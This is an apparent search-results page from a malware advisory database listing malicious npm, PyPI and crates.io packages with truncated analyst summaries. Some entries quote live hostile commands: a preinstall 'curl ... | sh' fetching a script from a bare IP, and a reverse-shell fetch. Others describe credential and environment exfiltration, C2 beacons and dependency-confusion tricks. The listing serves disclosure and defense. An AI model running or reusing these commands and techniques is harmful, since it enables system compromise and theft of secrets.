237248 matches found
Malicious code in @depro-tech/cortana-md (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0ab02cdce682fe76e6709fc00a3df615b366f38ed30270f635ddca7b122275fc The package @depro-tech/cortana-md was found to contain malicious code. Source: ghsa-malware...
Malicious code in cosmiconfig-fermiparadox-parsec-forever (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 09f948165719318c18a9effd583b6ae532e7c7164c847038d344101a3d955ded This package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts auto.js,...
Malicious code in socket-mock-java-rho-spy (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c73783490d318eb38b0f589f800124ffffafbe09192fd2fb01fc5ce1f82b4195 This package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts auto.js,...
Malicious code in odasv-kuu-bofaufi (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ca2618f4c3c9a677d76dd98d8f4e23fa2567422fe26da6fa5b54506e6a3a9655 This package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts auto.js,...
Malicious code in bootstrapper-solara (npm)
--- -= Per source details. Do not edit below this line.=-...
Malicious code in @diotoborg/natus-odit (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 67c00afc5fa39d9b9996d545dc9804e22de2f69730d4fba4016db5efefff2ae6 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
Malicious code in intver (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: checkmarx 4bbc1e7bf72c44cb311a81d9dd2c91e70a5c64c60b5d8899998d6b93bc8e41d2 EsqueleSquad group published nearly 6000 malicious PyPi and NPM packages, executing spyware and information-stealing malware...
Malicious code in dev-desktop (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware cfd2a309f2469b65f5a5f69a0bd8274823776ee4b90ac1bd7c20ee7f22d82b71 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
Malicious code in remote-pay-cloud-starter-example (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware f1988214db41a3d1764e3f6536359acbc08be5c669740b341aa43ace49cfe55c Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
Malicious code in swnwall (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 70fb3b7b76f32b1c101b04c15933b403658f199267e9c3c34ebea9aba917949a On require/import, index.js invokes initialize which spawns loader.js as a detached, hidden background child process detached: true, windowsHide: tru...
Malicious code in kartykp-prod-oidc-test-pkg (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware d19ade9fc52be37e965196e092b50a392993e063804a7c67e91edc9af51a4007 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
Malicious code in n8n-nodes-sysdiag2 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7cde3a20bc24f39c8a55a9f700f50c39dd42cbbab51c57ddf9fbbb54307ee7a8 The package advertises itself as an n8n community node for system diagnostics, but the shipped node module dist/SysDiag.node.js is an inert stub...
Malicious code in @auction-fe/base (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 4430765bbffe0f1b4471a3d1dbafdbc97059e7717fc6a1967fd5ebf05b83a0ef Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
Malicious code in vinzz-wcli (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8dec0212466f7170f1e00ecbfe3f846cbf5d211917c3831a6ee162ca6d44ec10 vinzz-wcli is a WhatsApp CLI whose main entry index.js sets global.ownerr = "[email protected]" and treats any incoming WhatsApp message...
Malicious code in telegram-helper (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 90afeb1d39f1ef3d107f2da6a26c4af8c7efb314bb0f272d45fa755119e1b669 telegramhelper describes itself as "A minimal example Python library" and ships a Russian-language template README the Homepage field is still the...
Malicious code in oce-configurator-wireless-frontend (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 191e4a78bf46781b56b290aac7b804fd9470b1ac189896b950afbaba548183e6 Package name resembles an internal Swisscom OCE package and is published at version 9999.0.0 to win resolution against a private registry. The...
Malicious code in omni-channel-order-frontend (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b5286224ab4427b1e85bbdfd5e57b9d96fc9736504d17f2f31839562f19b88ee The package name and 9999.0.0 version are consistent with a dependency-confusion lure targeting an internal omni-channel-order-frontend package...
Malicious code in dac-tools (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 203490886d6928aee2c8d681d282f53d8513907b30be5e5e20fe1effb5fd21d2 On import of dactools, the top-level init.py executes whoami and hostname via subprocess, concatenates the results into a DNS label, and triggers...
Malicious code in olympuslib (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fdcee7d29dcf5e9c04cc3528403c15c3359c6701eaf42f54ecaa2ac4c29a4b3c Top-level init.py invokes a canary routine on import that serializes the entire os.environ dictionary along with socket.gethostname and package...
Malicious code in megan-baileys (npm)
megan-baileys is a renamed fork of the Baileys WhatsApp Web library. In lib/Socket/newsletter.js, 90 seconds after makeNewsletterSocket is constructed, a base64-encoded string is decoded to https://files.gifted.co.ke/file/chJids.json, fetched with node-fetch, and every channel id in the response ...
Malicious code in company-sdk (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 46a5156bc1c582f0be8c1c33340b338cba12276dd9ea90235210fbc2ff950c85 companysdk.py executes credential-harvesting code at module import time. It walks the installer's home directory reading SSH keys /.ssh, cloud...
Malicious code in @yane88/listary (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6260eed43832753ea0c07338c5b555cbe97792c6d22c086f83c7b97e60c6ff8c The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
Malicious code in trongridor (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: kam193 46fcd4ed6da56295fe0a0b4a25cbaf848f10874c6905723472a57e7f59341341 Package appears to be designed for private key exfiltration, but no known usage. The name appears to be related to the cryptocurrency TRX Tron / Tronix. Some...
Malicious code in ckeditor5-ckbox (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9373ed3aa6afb53ef5d5d3dd4860a4ed9e7b151fdd8c5c7782f2b2e914810fc7 Unscoped npm package ckeditor5-ckbox mimics the legitimate @ckeditor/ckeditor5-ckbox plugin. package.json declares a preinstall hook node index.js th...
Malicious code in grafeno-core (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 19a2990abd7b4447444a42f96636f738449235f9d8760191978e904d028c759e The package's preinstall lifecycle script runs curl -s http://216.126.236.46/x.sh | sh at npm install time, fetching and executing an...
Malicious code in 3layerdipstack7u3sgs (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 01dea90b82859587aa75b5d1ffd2bbdb5b9111fbdb95c9904fc090a70c9a4242 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
Malicious code in 3layerdipstackposh4n (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e285d6a749b37b4af081400d21c2d65c9b6cca18c85df585f033c079b4576cd0 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
Malicious code in arone (crates.io)
arone is a malicious crate published to crates.io as part of the coordinated build-time payload campaign on 2026-08-20 that trojanized arrayref, internment, and append-only-vec and published the proc-macro1 typosquat of proc-macro2. It was used as an attacker-controlled dependency carrying a...
Malicious code in internallib_v164 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f8ea0eaa858b83bda14f7093d473013b1fbc1301d8f1401a837e67b2a8850d86 index.js exports a function that runs /bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444 | sh", fetching a reverse-shell script from...
Malicious code in wormgpt-cli (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 534ea1156519b64249657c1495faacdb3cc5d8e250a00e0dc2f8fd4e991af61c The package's bin entries wormgpt-cli, wormgpt, deepholegpt, wgpt map to bin/victim.js, which silently spawns a detached implant on any invocation...
Malicious code in @activepieces/piece-google-contacts (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8e200ba4f9d11d42636dbbd1fa698843321af8b0bd23ff63493c0ce94891a5cb src/index.js imports childprocess and issues POST requests alongside a ping command invocation lines 25, 38, 49. The co-occurrence of childprocess...
Malicious code in dolyame-boxy-atom-desktop-bnpl-text (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b63e38f9a4be0ffccf426124ce23e7d5c0ddfde68cc81ad44cbfe75ef22c31c The package's index.js silently loads loader.js via a swallowed try/catch try require'./loader'; catch . loader.js assembles one of three Cloudflare...
Malicious code in @wethenorth12/hdkey-wallet (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3e9eb2c497323415e826c9de190e636c2dea959708898550db20676d0c1ae6da index.js runs at require time: it collects hostname, username, homedir, platform, cwd, and the entire process.env, JSON-serializes and base64-encodes...
Malicious code in commonweb-wallet (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1769ac1af054b70eedc630a2cda97a2d810ef7c8551a7e80b2f859f0c578d33 [email protected] is an empty wrapper index.js is module.exports = ; package.json has empty author/description and an implausible 99.9.1 versio...
Malicious code in axios-native (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b0d01cf6414d6896b4f60ac6e2ecc238d33c049b6f6f5add44bd7700de32a906 The package presents itself as a drop-in replacement for axios identical name shape, README, and API but adds a top-level import of a separate npm...
Malicious code in @whalent/agent (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 13a01c1162adb93d3960d9e1b1b67095dcf0a1ea72aefa6d471d0abbbabb5d9a The package installs a whalent CLI daemon that opens a persistent WebSocket connection wss:// to a Whalent Memory gateway and, per its own README,...
Malicious code in @hibachi-xyz/ui (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 308aa7f8a3746a346bbed305975f68d110bcf6b98815b7bf9f579e37089fd78b The package is published under the name @hibachi-xyz/ui with description 'UI components' but ships no UI code. Its index.js, executed on require,...
Malicious code in @hibachi-xyz/sdk (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 54956c91d0cedbe9097a2a8f7fa864382bd3b5a91ba7ccbe4a0219081be711f9 index.js the package main executes at require-time and performs credential and host exfiltration. It iterates process.env and filters keys matching a...
Malicious code in log-guru (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: kam193 6da98c6d79df38328235bb1df969316bd484b2a02594f8656772cd9a1e48f16b The typosquatted package installs a Mythic/Poseidon C2 framework beacon and ensures persistence. After installation, the beacon communicates with C2 on...
Malicious code in creditgauge (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d0bd064afe94f426f1124703c1c1f7ac52ee1ad1df728c33ce7cbe4328bae876 The package has no functional library code: package.json declares main=index.js but no index.js is shipped; the tarball contains only package.json an...
Malicious code in polygon-toolkit-validation (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 58c3f2f27ce890479049767726c06bf083f96fe5c9916f43f5345f62ed9671c1 The package exposes validatet and randomBytest,e which route their arguments through an internal checkvalidator that base64-encodes the value and...
Malicious code in mc-reg (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 93ca15954536abe30ea5c7f5bc5a06192f3946c98d74edef9d90edbc52cb9d95 mc-reg advertises itself as a Cosmos chain-registry data package README shows chain-registry-style assets/chains/ibc API, but its main and ESM...
Malicious code in cosmos-gradio (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9bf1266e0846a392e9aaa6805756d26dc427a04415e8a422d53ffce7a1a0c2e2 cosmos-gradio 9999.0.0 is a dependency-confusion squat published as an sdist-only release with an intentionally inflated version to win highest-versi...
Malicious code in node-fsagent (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a3a0392a3ddea9b6099e8501fdb827f586a410323cecea214aa50fc1be42183b The package tarball ships archive-sender.js, which archives the host path /root/.codex, splits the tar into 200MB chunks, reconstructs an npm registr...
Malicious code in eslint-angular-react (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a9a6248527167bc121cdf2c1a874adbc9d433dbe4be2aed160e8abb3eb2ca63b package.json declares a preinstall lifecycle script that runs curl against the hardcoded bare IP http://109.71.252.153:8080/ at npm install time,...
Malicious code in tipsen-last-pls (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bdcb8c863a7cdb4b0c61ff35c63613602654ae8cf581eb0b8c8e4bd0ed6c2f62 package.json declares a dependency safe-chain-test whose version specifier is a direct HTTPS tarball URL on an anonymous Cloudflare ephemeral tunnel:...
Malicious code in abuden214 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4bdbebaa72ae71aae5482f3726a6be11649402b33365104e2fbf39f1db624137 The tarball ships auto-publish.sh, a script that republishes the same payload under 100 distinct npm names ishowfeet1-ishowfeet20, nottuff1-nottuff30...
Malicious code in nottuff6 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 31a4e89de7dc0db67a1f6c404dc1b6b0b418cd8207e71ad82ef8d2027acb7ea9 The tarball ships auto-publish.sh, a script that republishes the same payload under 100 distinct npm names ishowfeet1-ishowfeet20, nottuff1-nottuff30...
Malicious code in nottuff29 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 074e027c282713fdcd142d97a0a6b07a661db091f58be50fd7fb9dfa724b968f The tarball ships auto-publish.sh, a script that republishes the same payload under 100 distinct npm names ishowfeet1-ishowfeet20, nottuff1-nottuff30...
Malicious code in abuden2 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 01fc679091d0bd079249822993efce7f3ed4ef7d032c73f9aa730a6259f76cb6 The tarball ships auto-publish.sh, a script that republishes the same payload under 100 distinct npm names ishowfeet1-ishowfeet20, nottuff1-nottuff30...